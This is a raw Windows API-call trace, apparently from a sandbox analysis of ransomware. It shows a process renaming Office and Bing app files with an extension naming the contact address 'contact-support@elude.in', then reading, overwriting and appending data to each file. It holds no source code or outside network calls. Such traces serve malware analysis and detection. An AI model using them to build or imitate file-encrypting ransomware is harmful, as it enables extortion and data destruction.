returned 0x6fe3bb0 [0244.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\themes\\generic.xbf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.248] Sleep (dwMilliseconds=0x1) [0244.262] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileWide.scale-100.png", len=0x87 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileWide.scale-100.png") returned 1 [0244.262] GetProcessHeap () returned 0x630000 [0244.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f38) returned 0x6fe3bb0 [0244.262] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.264] Sleep (dwMilliseconds=0x1) [0244.288] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-32.png", len=0x8c | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-32.png") returned 1 [0244.288] GetProcessHeap () returned 0x630000 [0244.288] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef8) returned 0x6fe3bb0 [0244.288] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.289] Sleep (dwMilliseconds=0x1) [0244.292] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-24.png", len=0x8c | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-24.png") returned 1 [0244.293] GetProcessHeap () returned 0x630000 [0244.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef0) returned 0x6fe3bb0 [0244.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.294] Sleep (dwMilliseconds=0x1) [0244.310] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", len=0x61 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned 1 [0244.310] GetProcessHeap () returned 0x630000 [0244.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec4) returned 0x6fe3bb0 [0244.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.314] Sleep (dwMilliseconds=0x1) [0244.323] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", len=0x63 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned 1 [0244.324] GetProcessHeap () returned 0x630000 [0244.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec0) returned 0x6fe3bb0 [0244.324] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.330] Sleep (dwMilliseconds=0x1) [0244.343] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml", len=0x93 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml") returned 1 [0244.343] GetProcessHeap () returned 0x630000 [0244.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e9c) returned 0x6fe3bb0 [0244.344] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\sports\\sports.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.348] Sleep (dwMilliseconds=0x1) [0244.355] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml", len=0x8f | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml") returned 1 [0244.355] GetProcessHeap () returned 0x630000 [0244.355] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e98) returned 0x6fe3bb0 [0244.355] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\news\\news.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.362] Sleep (dwMilliseconds=0x1) [0244.548] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl", len=0x79 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl") returned 1 [0244.548] GetProcessHeap () returned 0x630000 [0244.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e84) returned 0x6fe3bb0 [0244.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0244.652] CloseHandle (hObject=0x5e4) returned 1 [0244.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a809c41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d5200 [0244.654] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0244.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0244.654] GetProcessHeap () returned 0x630000 [0244.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7421008 [0244.655] GetProcessHeap () returned 0x630000 [0244.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x742c438 [0244.655] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.655] ReadFile (in: hFile=0x5e4, lpBuffer=0x7421008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7421008*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.217] GetProcessHeap () returned 0x630000 [0251.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0251.217] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.217] WriteFile (in: hFile=0x5e4, lpBuffer=0x742c438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x742c438*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.218] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.218] WriteFile (in: hFile=0x5e4, lpBuffer=0x7437837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7437837*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0251.218] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.218] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0251.218] CloseHandle (hObject=0x5e4) returned 1 [0251.218] GetProcessHeap () returned 0x630000 [0251.218] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x742c438 | out: hHeap=0x630000) returned 1 [0251.230] GetProcessHeap () returned 0x630000 [0251.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7421008 | out: hHeap=0x630000) returned 1 [0251.230] GetProcessHeap () returned 0x630000 [0251.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0251.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0251.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5bb04373, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13962, dwReserved0=0xb247496, dwReserved1=0x7421000, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d5400 [0252.794] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0254.752] Sleep (dwMilliseconds=0x1) [0256.003] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF", len=0x68 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF") returned 1 [0256.003] GetProcessHeap () returned 0x630000 [0256.003] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d08) returned 0x6fe3bb0 [0256.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0257.498] CloseHandle (hObject=0x69c) returned 1 [0257.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b5591d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="IRIS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="IRISIN~1.FIR")) returned 0x6d5240 [0257.502] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0257.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0257.502] GetProcessHeap () returned 0x630000 [0257.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7232d0 [0257.502] GetProcessHeap () returned 0x630000 [0257.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7236c0 [0257.502] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.502] ReadFile (in: hFile=0x69c, lpBuffer=0x7232d0, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7232d0*, lpNumberOfBytesRead=0x40bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0257.505] GetProcessHeap () returned 0x630000 [0257.505] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0257.505] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.505] WriteFile (in: hFile=0x69c, lpBuffer=0x7236c0*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7236c0*, lpNumberOfBytesWritten=0x40bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0257.505] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.505] WriteFile (in: hFile=0x69c, lpBuffer=0x72387f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72387f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.505] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.505] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.505] CloseHandle (hObject=0x69c) returned 1 [0257.506] GetProcessHeap () returned 0x630000 [0257.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7236c0 | out: hHeap=0x630000) returned 1 [0257.506] GetProcessHeap () returned 0x630000 [0257.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7232d0 | out: hHeap=0x630000) returned 1 [0257.506] GetProcessHeap () returned 0x630000 [0257.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0257.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f6e3cfa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x40bfd20, dwReserved1=0x7232d0, cFileName="IRIS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="IRISIN~1.FIR")) returned 0x6d51c0 [0257.506] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.506] Sleep (dwMilliseconds=0x1) [0257.578] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF", len=0x6b | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF") returned 1 [0257.578] GetProcessHeap () returned 0x630000 [0257.578] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cbc) returned 0x6fe3bb0 [0257.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.580] CloseHandle (hObject=0x5ec) returned 1 [0257.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0257.582] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft 